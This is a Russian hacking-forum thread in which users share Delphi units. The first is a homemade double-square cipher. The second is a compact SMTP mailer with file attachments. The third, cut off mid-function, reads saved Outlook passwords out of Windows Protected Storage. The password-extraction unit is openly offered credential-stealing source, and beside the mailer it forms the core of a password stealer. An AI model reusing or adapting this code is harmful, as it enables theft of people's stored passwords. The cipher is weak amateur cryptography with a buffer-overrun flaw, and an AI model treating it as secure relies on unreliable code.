Полезные модули для Delphi от Joker-jar

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Joker-jar, 15 Jul 2007.

  1. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    583
    Likes Received:
    205
    Reputations:
    37
    Накопилось немало различных модулей, вот хочу поделиться с античатом. Здесь постепенно размещу все самое интересное.

    1. CryptDBSquare.pas

    Модуль предназначен для шифрования методом двойного квадрата. Шифрует, дешифрует строки и файлы. Ключ представляет собой файл, содержащий 2 матрицы 16x16. Модуль имеет функцию генерирования ключа, а также сохранение и загрузки из файла. Также в файле-ключе есть возможность сохранения дополнительных данных, например, логин и срок действия ключа.

    Code:
    unit CryptDBSquare;
    
    interface
    
    uses
      SysUtils;
    
    type
      LikeStr = string[20];
      TTabl = array[1..16,1..16] of byte;
      TArray = array[0..255] of byte;
      TBuffer = array[0..4095] of byte;
      TKey =
        record
          User, Desc: LikeStr;
          KeyA, KeyB: TTabl
        end;
      IPos =
        record
          horpos, verpos: 1..16
        end;
      KeyFile = file of TKey;
    
    function Crypt(InputStr: string; Key: TKey): string;
    procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
    function GetDescFromKey(Key: TKey): LikeStr;
    function GetIPos(Tabl: TTabl; It: byte): IPos;
    function GetUserNameFromKey(Key: TKey): LikeStr;
    function GenerateKey(UserName, Desc: LikeStr): TKey;
    procedure LoadKey(var Key: TKey; FileName: string);
    procedure SaveKey(Key: TKey; FileName: string);
    function UnCrypt(InputStr: string; Key: TKey): string;
    procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);
    
    implementation
    
    const
      K1 = 64;
      K2 = 28;
      K3 = 16;
      K4 = 13;
    
    function GetIPos(Tabl: TTabl; It: byte): IPos;
    var
      i,k: byte;
    begin
      for i:=1 to 16 do
        for k:=1 to 16 do
          if Tabl[i,k]=It then
            begin
              result.horpos := i;
              result.verpos := k;
              break;
            end;
    end;
    
    procedure FillArray(var A: Tarray);
    var
      i, s, r: integer;
    begin
      randomize;
      for i := 0 to 31 do
        A[i]:=i;
      for i := 32 to 255 do A[i] := i;
        for i := 255 downto 32 do
          begin
            r := Random(i-32)+32;
            S := A[r]; A[r] := A[i]; A[i] := s;
          end;
    end;
    
    function GenerateKey(UserName, Desc: LikeStr): TKey;
    var
      TempKey: TKey;
      BufTab: TArray;
      a,i,k: byte;
    begin
      FillArray(BufTab);
      for i:=1 to 16 do
        for k:=1 to 16 do
          result.KeyA[i,k]:=BufTab[(16*(i-1))+k-1];
      FillArray(BufTab);
      for i:=1 to 16 do
        for k:=1 to 16 do
          result.KeyB[i,k]:=BufTab[(16*(i-1))+k-1];
      TempKey := result;
      result.User := Crypt(UserName, TempKey);
      result.Desc := Crypt(Desc, TempKey);
    end;
    
    function GetUserNameFromKey(Key: TKey): LikeStr;
    begin
      result := UnCrypt(Key.User, Key);
    end;
    
    function GetDescFromKey(Key: TKey): LikeStr;
    begin
      result := UnCrypt(Key.Desc, Key);
    end;
    
    function CryptSimText(InputStr: string; Key: TKey): string;
    var
      i: integer;
      Temp: string;
      p1,p2:IPos;
    begin
      result:='';
      Temp:=InputStr;
        while Temp<>'' do
          begin
            p1:=GetIPos(Key.KeyA,ord(Temp[1]));
            p2:=GetIPos(Key.KeyB,ord(Temp[2]));
            if p1.horpos = p2.horpos then
              begin
                result:=result+chr(Key.KeyB[p1.horpos,p1.verpos]);
                result:=result+chr(Key.KeyA[p2.horpos,p2.verpos]);
                delete(temp,1,2);
              end
            else
              begin
                result:=result+chr(Key.KeyB[p1.horpos,p2.verpos]);
                result:=result+chr(Key.KeyA[p2.horpos,p1.verpos]);
                delete(temp,1,2);
              end;
          end;
    end;
    
    function Crypt(InputStr: string; Key: TKey): string;
    var
      a: string;
    begin
      if not odd(length(InputStr)) then
        result:=CryptSimText(InputStr,Key)
      else
        begin
          a:=copy(InputStr,length(InputStr),1);
          delete(InputStr,length(InputStr),1);
          result:=CryptSimText(InputStr,Key)+a;
        end;
    end;
    
    function CryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
    var
      i: integer;
      Temp: TBuffer;
      p1,p2:IPos;
    begin
      Temp:=Buf;
      for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
        begin
          p1:=GetIPos(Key.KeyA,Temp[i]);
          p2:=GetIPos(Key.KeyB,Temp[i+1]);
          if p1.horpos = p2.horpos then
            begin
              result[i]:=Key.KeyB[p1.horpos,p1.verpos];
              result[i+1]:=Key.KeyA[p2.horpos,p2.verpos];
            end
          else
            begin
              result[i]:=Key.KeyB[p1.horpos,p2.verpos];
              result[i+1]:=Key.KeyA[p2.horpos,p1.verpos];
            end;
        end;
    end;
    
    
    procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
    var
      FromF, ToF: file;
      NumRead, NumWritten, i: Integer;
      Buf: TBuffer;
      TempStr: string;
    begin
      AssignFile(FromF, InputFileName);
      Reset(FromF, 1);
      AssignFile(ToF, OutputFileName);
      Rewrite(ToF, 1);
        repeat
          BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
          Buf := CryptBlockOfBytes(Buf, Key);
          BlockWrite(ToF, Buf, NumRead, NumWritten);
        until
          (NumRead = 0) or (NumWritten <> NumRead);
      CloseFile(FromF);
      CloseFile(ToF);
    end;
    
    function UnCryptSimText(InputStr: string; Key: TKey): string;
    var
      i: integer;
      Temp: string;
      p1,p2:IPos;
    begin
      result:='';
      Temp:=InputStr;
        while Temp<>'' do
          begin
            p1:=GetIPos(Key.KeyB,ord(Temp[1]));
            p2:=GetIPos(Key.KeyA,ord(Temp[2]));
            if p1.horpos = p2.horpos then
              begin
                result:=result+chr(Key.KeyA[p1.horpos,p1.verpos]);
                result:=result+chr(Key.KeyB[p2.horpos,p2.verpos]);
                delete(temp,1,2);
              end
            else
              begin
                result:=result+chr(Key.KeyA[p1.horpos,p2.verpos]);
                result:=result+chr(Key.KeyB[p2.horpos,p1.verpos]);
                delete(temp,1,2);
              end;
          end;
    end;
    
    function UnCrypt(InputStr: string; Key: TKey): string;
    var
      a: string;
    begin
      if not odd(length(InputStr)) then
        result:=UnCryptSimText(InputStr,Key)
      else
        begin
          a:=copy(InputStr,length(InputStr),1);
          delete(InputStr,length(InputStr),1);
          result:=UnCryptSimText(InputStr,Key)+a;
        end;
    end;
    
    function UnCryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
    var
      i: integer;
      Temp: TBuffer;
      p1,p2:IPos;
    begin
      Temp:=Buf;
      for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
        begin
          p1:=GetIPos(Key.KeyB,Temp[i]);
          p2:=GetIPos(Key.KeyA,Temp[i+1]);
          if p1.horpos = p2.horpos then
            begin
              result[i]:=Key.KeyA[p1.horpos,p1.verpos];
              result[i+1]:=Key.KeyB[p2.horpos,p2.verpos];
            end
          else
            begin
              result[i]:=Key.KeyA[p1.horpos,p2.verpos];
              result[i+1]:=Key.KeyB[p2.horpos,p1.verpos];
            end;
        end;
    end;
    
    procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);
    var
      FromF, ToF: file;
      NumRead, NumWritten, i: Integer;
      Buf: TBuffer;
      TempStr: string;
    begin
      AssignFile(FromF, InputFileName);
      Reset(FromF, 1);
      AssignFile(ToF, OutputFileName);
      Rewrite(ToF, 1);
        repeat
          BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
          Buf := UnCryptBlockOfBytes(Buf, Key);
          BlockWrite(ToF, Buf, NumRead, NumWritten);
        until
          (NumRead = 0) or (NumWritten <> NumRead);
      CloseFile(FromF);
      CloseFile(ToF);
    end;
    
    procedure SaveKey(Key: TKey; FileName: string);
    var
      KF: KeyFile;
    begin
      assignfile(KF,FileName);
      rewrite(KF);
      write(KF,Key);
      closefile(KF);
    end;
    
    procedure LoadKey(var Key: TKey; FileName: string);
    var
      KF: KeyFile;
    begin
      assignfile(KF,FileName);
      reset(KF);
      read(KF,Key);
      closefile(KF);
    end;
    
    end.
    1. smtp.pas

    Модуль для тех, кто любит писать программульки с помощью KOL. Отправляет письма с html-форматированием и файловыми атачами. Получается очень маленький размер exe. В принципе, за пару минут модуль можно подогнать и под чистый API.

    Code:
    unit SMTP;
    
    {*******************************************************}
    {            SMTP - Модуль для Delphi+KOL               }
    { Version:   1.0                                        }
    { E-Mail:    joker-jar@kbrdhook.com                     }
    { Created:   October  08, 2006                          }
    { Legal:     Copyright (c) 2006, Joker-jar              }
    {*******************************************************}
    { ТИПЫ:                                                 }
    {   TLetter - струтура письма                           }
    {             NeedAuth - нужна ли аутентификация        }
    {             mHost - адрес сервера SMTP                }
    {             uName, uPass - имя пользователя, пароль   }
    {             mFromName, mFrom - имя, адрес отправителя }
    {             mToName, mTo - имя, адрес получателя      }
    {             Subject - тема письма                     }
    {             mBody - тело письма                       }
    {*******************************************************}
    { КОНСТАНТЫ:                                            }
    {   TimeOut - Максимальное время ожидания ответа от     }
    {             сервера                                   }
    {                                                       }
    {   Bound - Разделитель блоков в теле письма            }
    {                                                       }
    {   MIME - Заголовок MIME                               }
    {*******************************************************}
    { ПРОЦЕДУРЫ:                                            }
    {   OpenMIME - Устанавливает в начало тела письма       }
    {              MIME заголовок. Вызывается один раз      }
    {              при заполнении тела письма.              }
    {                                                       }
    {   CloseMIME - Устанавливает в конец тела письма       }
    {               метку об окончании MIME. Вызывается     }
    {               один раз по завершению заполнения       }
    {               тела письма.                            }
    {                                                       }
    {   AddHTMLBlockToBody - Добавляет HTML блок к телу     }
    {                        письма. Прежде чем             }
    {                        использовать, убедитесь,       }
    {                        что инициализирован MIME       }
    {                        командой OpenMIME в начале     }
    {                        тела письма.                   }
    {                                                       }
    {   AttachFileToBody - Прикрепляет произвольный файл    }
    {                      к телу письма. Прежде чем        }
    {                      использовать, убедитесь, что     }
    {                      инициализирован MIME командой    }
    {                      OpenMIME в начале тела письма.   }
    {                                                       }
    {                                                       }
    {   SMTPConnectAndSendMail - Процедура отправляет       }
    {                            письмо и выводит ответы    }
    {                            сервера в Memo,            }
    {                            переданное как OutServAns  }
    {                            (Можно в качестве          }
    {                            OutServAns передать nil)   }
    {*******************************************************}
    
    interface
    
    uses
      KOL, Windows, Winsock;
    
    type
      Tarray = array of string;
      TLetter =
        record
          NeedAuth: boolean;
          mHost, uName, uPass, mFrom,
          mTo, mFromName, mToName, Subject: string;
          mBody: Tarray;
        end;
    
    const
      TimeOut = 1000;
      Bound = 'ENDBLOCK';
      MIME = 'MIME-Version:1.0';
    
    procedure OpenMIME(var mBody: TArray);
    procedure CloseMIME(var mBody: TArray);
    procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
    procedure AttachFileToBody(var mBody: TArray; Filename: string);
    procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);
    
    implementation
    
    type
      TAByte = array [0..maxInt-1] of byte;
      TPAByte = ^TAByte;
    
    const
      CtrlF = #13#10;
    
    var
      WSA:TWSAData;
      MailSocket:TSocket;
      SMTPServer:TSockAddr;
    
    function MyInc(var i:integer): integer;
    begin
      inc(i);
      result := i;
    end;
    
    function GetComputerNetName: string;
    var 
      buffer: array[0..255] of char;
      size: dword;
    begin 
      size := 256;
      if GetComputerName(buffer, size) then
        Result := buffer
      else
        Result := ''
    end;
    
    function B64Encode(data:string) : string; overload;
    const
      b64 : array [0..63] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    var
      ic,len : integer;
      pi, po : TPAByte;
      c1 : dword;
    begin
      len:=length(data);
      if len > 0 then
        begin
          SetLength(result, ((len + 2) div 3) * 4);
          pi := pointer(data);
          po := pointer(result);
          for ic := 1 to len div 3 do
            begin
              c1 := pi^[0] shl 16 + pi^[1] shl 8 + pi^[2];
              po^[0] := byte(b64[(c1 shr 18) and $3f]);
              po^[1] := byte(b64[(c1 shr 12) and $3f]);
              po^[2] := byte(b64[(c1 shr 6) and $3f]);
              po^[3] := byte(b64[(c1 ) and $3f]);
              inc(dword(po), 4);
              inc(dword(pi), 3);
            end;
          case len mod 3 of
            1:
              begin
                c1 := pi^[0] shl 16;
                po^[0] := byte(b64[(c1 shr 18) and $3f]);
                po^[1] := byte(b64[(c1 shr 12) and $3f]);
                po^[2] := byte('=');
                po^[3] := byte('=');
              end;
            2 :
              begin
                c1 := pi^[0] shl 16 + pi^[1] shl 8;
                po^[0] := byte(b64[(c1 shr 18) and $3f]);
                po^[1] := byte(b64[(c1 shr 12) and $3f]);
                po^[2] := byte(b64[(c1 shr 6) and $3f]);
                po^[3] := byte('=');
              end;
          end;
        end
      else
        result := '';
    end;
    
    function LookupName(host: string): TInAddr;
    var
      HostEnt: PHostEnt;
      InAddr: TInAddr;
    begin
      HostEnt := gethostbyname(PChar(host));
      FillChar(InAddr, SizeOf(InAddr), 0);
      if HostEnt <> nil then
        begin
          with InAddr, HostEnt^ do
            begin
              S_un_b.s_b1 := h_addr^[0];
              S_un_b.s_b2 := h_addr^[1];
              S_un_b.s_b3 := h_addr^[2];
              S_un_b.s_b4 := h_addr^[3];
            end;
        end;
      Result := InAddr;
    end;
    
    function SMTPRecvReply(MailSocket:TSocket):string;
    var
      t: integer;
      Buffer:Array[0..255] of char;
    begin
      ZeroMemory(@Buffer,256);
      t:=GetTickCount;
        repeat
        until
          (Recv(MailSocket,Buffer,SizeOf(Buffer),0)>0)or(GetTickCount - t >= TimeOut);
      result := buffer+CTRLF;
    end;   
    
    procedure SMTPSendString(MailSocket:TSocket;Str:string);
    var
      Buffer:Array[0..255] of char;
    begin
      StrPCopy(Buffer,Str);
      Send(MailSocket,Buffer,length(Str),0);
    end;
    
    procedure SendComandAndWaitAnswer(MailSocket: TSocket;OutServAns: Pcontrol;Str: string);
    begin
      SMTPSendString(MailSocket,Str);
      if Assigned(OutServAns) then
        begin
          OutServAns.Add(SMTPRecvReply(MailSocket));
          OutServAns.Perform($0115, SB_BOTTOM,0);
        end;
    end;
    
    procedure AddstringToBody(var mBody: Tarray; str: String);
    var
      m: integer;
    begin
      m := high(mBody);
      setlength(mBody,m+2);
      mBody[m+1]:=str;
    end;
    
    procedure OpenMIME(var mBody: TArray);
    var
      i: integer;
    begin
      i:=0;
      setlength(mBody, 3);
      mBody[i] := MIME;
      mBody[myinc(i)] := 'Content-Type: multipart/mixed; boundary="'+Bound+'"';
      mBody[myinc(i)] := '--'+Bound;
    end;
    
    procedure CloseMIME(var mBody: TArray);
    begin
      mBody[High(mBody)] := mBody[High(mBody)]+'--';
    end;
    
    
    procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
    begin
      AddstringToBody(mBody,'Content-Type: text/html; charset=Windows-1251');
      AddstringToBody(mBody,'Content-Transfer-Encoding: 8bit');
      AddstringToBody(mBody, '');
      AddstringToBody(mBody, HTMLtext);
      AddstringToBody(mBody,'--'+Bound);
    end;
    
    procedure AttachFileToBody(var mBody: TArray; Filename: string);
    var
      k: integer;
      c: byte;
      tempStr: string;
      F: file of byte;
    begin
      if (not fileexists(filename))or(filesize(filename)=0) then
        exit;
      AddstringToBody(mBody,'Content-Type: application/octet-stream; name="'+ExtractFileName(FileName)+'"');
      AddstringToBody(mBody,'Content-Disposition: attachment; filename="'+ExtractFileName(FileName)+'"');
      AddstringToBody(mBody,'Content-Transfer-Encoding: base64');
      AddstringToBody(mBody,'');
      k:=0;
      AssignFile(F, FileName);
      Reset(F);
        repeat
          inc(k);
          Read(F, c);
          tempstr:=tempstr+chr(c);
          if k mod 38 = 0 then
            begin
              AddstringToBody(mBody, b64encode(tempstr));
              tempstr:='';
            end;
        until
          (eof(F));
      CloseFile(F);
      AddstringToBody(mBody, b64encode(tempstr));
      AddstringToBody(mBody,'--'+Bound);
    end;
    
    procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);
    var
      i: integer;
    begin
      WSAStartup(MAKEWORD(1,0),WSA);
      MailSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      ZeroMemory(@SMTPServer,SizeOf(SMTPServer));
      SMTPServer.sin_family:=AF_INET;
      SMTPServer.sin_port:=htons(25);
      SMTPServer.sin_addr:=LookupName(Letter.mHost);
      if Connect(MailSocket,SMTPServer,SizeOf(SMTPServer))=0 then
        begin
          SendComandAndWaitAnswer(mailsocket, OutServAns, 'HELO '+ GetComputerNetName + CTRLF);
          if Letter.NeedAuth then
            SendComandAndWaitAnswer(mailsocket, OutServAns, 'AUTH LOGIN ' + CTRLF + b64encode(Letter.uName) + CTRLF + b64encode(Letter.uPass) + CTRLF);
          SendComandAndWaitAnswer(mailsocket, OutServAns, 'MAIL FROM:' + Letter.mFrom + CTRLF + 'RCPT TO:' + Letter.mTo + CTRLF);
          SendComandAndWaitAnswer(mailsocket, OutServAns, 'DATA' + CTRLF + 'From: "' + Letter.mFromName + '" <' + Letter.mFrom + '>' + CTRLF + 'To: "' + Letter.mToName + '" <' + Letter.mTo + '>' + CTRLF + 'Subject: ' + Letter.Subject + CTRLF);
          for i:=0 to high(Letter.mBody) do
            SMTPSendString(mailsocket,Letter.mBody[i]+CTRLF);
          SendComandAndWaitAnswer(mailsocket, OutServAns, CTRLF+'.'+CTRLF+CTRLF+'QUIT');
        end
      else
        if Assigned(OutServAns) then
          OutServAns.Add('Unable to connect to '+Letter.mHost);
      CloseSocket(MailSocket);
      WSACleanup;
    end;
    
    end.
    Если кому-то что-то непонятно, пишите. Покажу на примерах.
     
    5 people like this.
  2. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    71
    Likes Received:
    68
    Reputations:
    24
    В свою очередь делюсь: модуль для извлечения паролей из Protected Storage И файл интерфейсов к нему:

    Code:
    
    unit PStorageIntfs; 
    
                                                              
    {$TYPEDADDRESS OFF} 
    
    {$WRITEABLECONST ON} 
    
    interface 
    
    const 
    
      PSTORECLibMajorVersion = 1; 
      PSTORECLibMinorVersion = 0; 
    
      LIBID_PSTORECLib: TGUID = '{5A6F1EBD-2DB1-11D0-8C39-00C04FD9126B}'; 
    
      IID_IEnumPStoreProviders: TGUID = '{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}'; 
      IID_IPStore: TGUID = '{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}'; 
      IID_IEnumPStoreTypes: TGUID = '{789C1CBF-31EE-11D0-8C39-00C04FD9126B}'; 
      IID_IEnumPStoreItems: TGUID = '{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}'; 
    type 
    
      PStorageItem = ^TStorageItem; 
      TStorageItem = record 
        T: BYTE; 
        pType: TGUID; 
        pSubtype: TGUID; 
        pItem: ShortString; 
      end; 
    
      PStorageSubtype = ^TStorageSubtype; 
      TStorageSubtype = record 
        T: BYTE; 
        pType: TGUID; 
        pSubtype: TGUID; 
      end; 
    
      PStorageType = ^TStorageType; 
      TStorageType = record 
        T: BYTE; 
        pType: TGUID; 
      end; 
    
      PProviderInfo = ^TProviderInfo; 
      TProviderInfo = record 
        GUID: TGUID; 
        Capabilities: LongWord; 
        ProviderName: ShortString; 
      end; 
    
      IEnumPStoreProviders = interface; 
      IPStore = interface; 
      IEnumPStoreTypes = interface; 
      IEnumPStoreItems = interface; 
    
    
      CPStore = IEnumPStoreProviders; 
      CEnumTypes = IEnumPStoreTypes; 
      CEnumItems = IEnumPStoreItems; 
    
    
      PUserType1 = ^_PST_PROVIDERINFO; {*} 
      PByte1 = ^Byte; {*} 
      PUserType2 = ^TGUID; {*} 
      PUserType3 = ^_PST_TYPEINFO; {*} 
      PUserType4 = ^_PST_ACCESSRULESET; {*} 
      PPUserType1 = ^IEnumPStoreTypes; {*} 
      PUserType5 = ^_PST_PROMPTINFO; {*} 
      PPUserType2 = ^IEnumPStoreItems; {*} 
    
      _PST_PROVIDERINFO = packed record 
        cbSize: LongWord; 
        ID: TGUID; 
        Capabilities: LongWord; 
        szProviderName: PWideChar; 
      end; 
    
      _PST_TYPEINFO = packed record 
        cbSize: LongWord; 
        szDisplayName: PWideChar; 
      end; 
    
      _PST_ACCESSCLAUSE = packed record 
        cbSize: LongWord; 
        ClauseType: LongWord; 
        cbClauseData: LongWord; 
        pbClauseData: ^Byte; 
      end; 
    
      _PST_ACCESSRULE = packed record 
        cbSize: LongWord; 
        AccessModeFlags: LongWord; 
        cClauses: LongWord; 
        rgClauses: ^_PST_ACCESSCLAUSE; 
      end; 
    
      _PST_ACCESSRULESET = packed record 
        cbSize: LongWord; 
        cRules: LongWord; 
        rgRules: ^_PST_ACCESSRULE; 
      end; 
    
      _PST_PROMPTINFO = packed record 
        cbSize: LongWord; 
        dwPromptFlags: LongWord; 
        hwndApp: LongWord; 
        szPrompt: PWideChar; 
      end; 
    
    
      IEnumPStoreProviders = interface(IUnknown) 
        ['{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}'] 
        function  Next(celt: LongWord; out rgelt: PUserType1; var pceltFetched: LongWord): HResult; stdcall; 
        function  Skip(celt: LongWord): HResult; stdcall; 
        function  Reset: HResult; stdcall; 
        function  Clone(out ppenum: IEnumPStoreProviders): HResult; stdcall; 
      end; 
    
    
      IPStore = interface(IUnknown) 
        ['{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}'] 
        function  GetInfo(out ppProperties: PUserType1): HResult; stdcall; 
        function  GetProvParam(dwParam: LongWord; out pcbData: LongWord; out ppbData: PByte1; 
                               dwFlags: LongWord): HResult; stdcall; 
        function  SetProvParam(dwParam: LongWord; cbData: LongWord; var pbData: Byte; dwFlags: LongWord): HResult; stdcall; 
        function  CreateType(Key: LongWord; var pType: TGUID; var pInfo: _PST_TYPEINFO; 
                             dwFlags: LongWord): HResult; stdcall; 
        function  GetTypeInfo(Key: LongWord; var pType: TGUID; out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall; 
        function  DeleteType(Key: LongWord; var pType: TGUID; dwFlags: LongWord): HResult; stdcall; 
        function  CreateSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                                var pInfo: _PST_TYPEINFO; var pRules: _PST_ACCESSRULESET; 
                                dwFlags: LongWord): HResult; stdcall; 
        function  GetSubtypeInfo(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                                 out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall; 
        function  DeleteSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; dwFlags: LongWord): HResult; stdcall; 
        function  ReadAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                                    out ppRules: PUserType4; dwFlags: LongWord): HResult; stdcall; 
        function  WriteAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; 
                                     var pRules: _PST_ACCESSRULESET; dwFlags: LongWord): HResult; stdcall; 
        function  EnumTypes(Key: LongWord; dwFlags: LongWord; var ppenum: IEnumPStoreTypes): HResult; stdcall; 
        function  EnumSubtypes(Key: LongWord; var pType: TGUID; dwFlags: LongWord; 
                               var ppenum: IEnumPStoreTypes): HResult; stdcall; 
        function  DeleteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                             szItemName: PWideChar; var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall; 
        function  ReadItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                           szItemName: PWideChar; out pcbData: LongWord; out ppbData: Pointer; 
                           var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall; 
        function  WriteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                            szItemName: PWideChar; cbData: LongWord; var pbData: Byte; 
                            var pPromptInfo: _PST_PROMPTINFO; dwDefaultConfirmationStyle: LongWord; 
                            dwFlags: LongWord): HResult; stdcall; 
        function  OpenItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                           szItemName: PWideChar; ModeFlags: LongWord; 
                           var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall; 
        function  CloseItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                            szItemName: PWideChar; dwFlags: LongWord): HResult; stdcall; 
        function  EnumItems(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID; 
                            dwFlags: LongWord; var ppenum: IEnumPStoreItems): HResult; stdcall; 
      end; 
    
    
      IEnumPStoreTypes = interface(IUnknown) 
        ['{789C1CBF-31EE-11D0-8C39-00C04FD9126B}'] 
        function  Next(celt: LongWord; out rgelt: TGUID; var pceltFetched: LongWord): HResult; stdcall; 
        function  Skip(celt: LongWord): HResult; stdcall; 
        function  Reset: HResult; stdcall; 
        function  Clone(out ppenum: IEnumPStoreTypes): HResult; stdcall; 
      end; 
    
      IEnumPStoreItems = interface(IUnknown) 
        ['{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}'] 
        function  Next(celt: LongWord; out rgelt: PWideChar; var pceltFetched: LongWord): HResult; stdcall; 
        function  Skip(celt: LongWord): HResult; stdcall; 
        function  Reset: HResult; stdcall; 
        function  Clone(out ppenum: IEnumPStoreItems): HResult; stdcall; 
      end; 
    
    implementation 
    
    end.
    
    
    Code:
    unit OutlookDecrypt; 
    
    interface 
    
    uses 
      Windows, 
      PStorageIntfs;//заголовочный файл 
    
    function GetOutlookPass: string; 
    
    implementation 
    
    type 
      PTChar = ^Char; 
      TMyGUID = array of TGUID; 
      TPStoreCreateInstance = function(var ppProvider: IPStore; pProviderID: PGUID; pReserved: Pointer; dwFlags: DWORD): HRESULT; stdcall; 
    var 
    FLibrary: THandle; 
    PStoreCreateInstance: TPStoreCreateInstance; 
    FProvider: IPStore; 
    Pass: string; 
    
    procedure CoTaskMemFree(pv: Pointer); stdcall; external 'ole32.dll' name 'CoTaskMemFree'; 
    function StringFromCLSID(const clsid: TGUID; out psz: PWideChar): HResult; stdcall; external 'ole32.dll' name 'StringFromCLSID'; 
    
    function PStorageConnect: Boolean;// Соединяемся с хранилищем 
    begin 
      Result := False; 
      if (PStoreCreateInstance(FProvider, nil, nil, 0) <> S_OK) or (FProvider = nil) then 
      begin 
        FProvider := nil; 
        Exit; 
      end; 
      Result := True; 
    end; 
    
    function InitLib: boolean;//Пытаемся загрузить функцию 
    begin 
      result:=false; 
      FLibrary := LoadLibrary('pstorec.dll'); 
      if FLibrary = 0 then Exit; 
      PStoreCreateInstance := GetProcAddress(FLibrary, 'PStoreCreateInstance'); 
      if @PStoreCreateInstance = nil then 
      begin 
        FreeLibrary(FLibrary); 
        exit; 
      end; 
      result:=true; 
    end; 
    
    function PStorageGetProviderInfo: TProviderInfo; 
    var 
      ppInfo: PUserType1; 
    begin 
      if FProvider.GetInfo(ppInfo) = S_OK then 
      begin 
        Result.GUID := ppInfo.ID; 
        Result.Capabilities := ppInfo.Capabilities; 
        Result.ProviderName := String(ppInfo.szProviderName); 
      end; 
    end; 
    
    function PStorageGetTypeName(pGUID: TGUID): String; 
    var 
      pst: PUserType3; 
    begin 
      pst := nil; 
      if (FProvider.GetTypeInfo(0, pGUID, pst, 0) = S_OK) and (pst <> nil) then 
      begin 
        Result := String(pst^.szDisplayName); 
        CoTaskMemFree(pst); 
      end; 
    end; 
    
    function PStorageGetSubtypeName(pType, pSubtype: TGUID): String; 
    var 
      pst: PUserType3; 
    begin 
      pst := nil; 
      if (FProvider.GetSubtypeInfo(0, pType, pSubType, pst, 0) = S_OK) and (pst <> nil) then 
      begin 
        Result := String(pst^.szDisplayName); 
        CoTaskMemFree(pst); 
      end; 
    end; 
    
    function FillPromptInfoStruct: _PST_PROMPTINFO; 
    begin 
      Result.cbSize := SizeOf(_PST_PROMPTINFO); 
      Result.dwPromptFlags := 4; 
      Result.hwndApp := 0; 
      Result.szPrompt := ''; 
    end; 
    
    function PStorageReadItemData(pType, pSubtype: TGUID; pItem: ShortString; var Data: Pointer; var DataLen: LongWord): Boolean; 
    var 
      pspi: _PST_PROMPTINFO; 
    begin 
      pspi := FillPromptInfoStruct; 
      DataLen := 0; 
      Data := nil; 
      Result := FProvider.ReadItem(0, pType, pSubtype, StringToOleStr(pItem), DataLen, Data, pspi, 0) = S_OK; 
    end; 
    
    function DumpData(Buffer: Pointer; BufLen: DWord): String; 
    var 
      i, j, c: Integer; 
    begin 
      c := 0; 
      Result := ''; 
      for i := 1 to BufLen div 16 do 
      begin 
        for j := c to c + 15 do 
          if (PByte(Integer(Buffer) + j)^ < $20) or (PByte(Integer(Buffer) + j)^ > $7F) then 
            Result := Result + '.' 
          else 
            Result := Result + PTChar(Integer(Buffer) + j)^; 
        c := c + 16; 
    //    Result := Result + #13#10; 
      end; 
      if BufLen mod 16 <> 0 then 
        for i := BufLen mod 16 downto 1 do 
          if (PByte(Integer(Buffer) + Integer(BufLen) - i)^ < $20) or (PByte(Integer(Buffer) + Integer(BufLen) - i)^ > $7F) then 
    //        Result := Result + '.' 
          else 
            Result := Result + PTChar(Integer(Buffer) + Integer(BufLen) - i)^; 
    end; 
    
    function GUIDToString(const GUID: TGUID): string; 
    var 
      P: PWideChar; 
    begin 
      if not Succeeded(StringFromCLSID(GUID, P)) then exit; 
      Result := P; 
      CoTaskMemFree(P); 
    end; 
    
    procedure ReadValue(Caption:string; flag: byte; pType, pSubType: TGUID); 
    var 
      Mem: Pointer; 
      MemLen: Cardinal; 
    //  i:integer; 
    begin 
      case flag of 
    {    0:   //ветвь 
          pass:=pass+#13#10+Caption+': ' + GUIDToString(pType)+#13#10; 
        1:  //подветвь 
          pass:=pass+Caption+': ' + GUIDToString(pSubType)+#13#10;} 
        2: //значения 
          begin 
            if PStorageReadItemData(pType, pSubtype, Caption, Mem, MemLen) and (Mem <> nil) then 
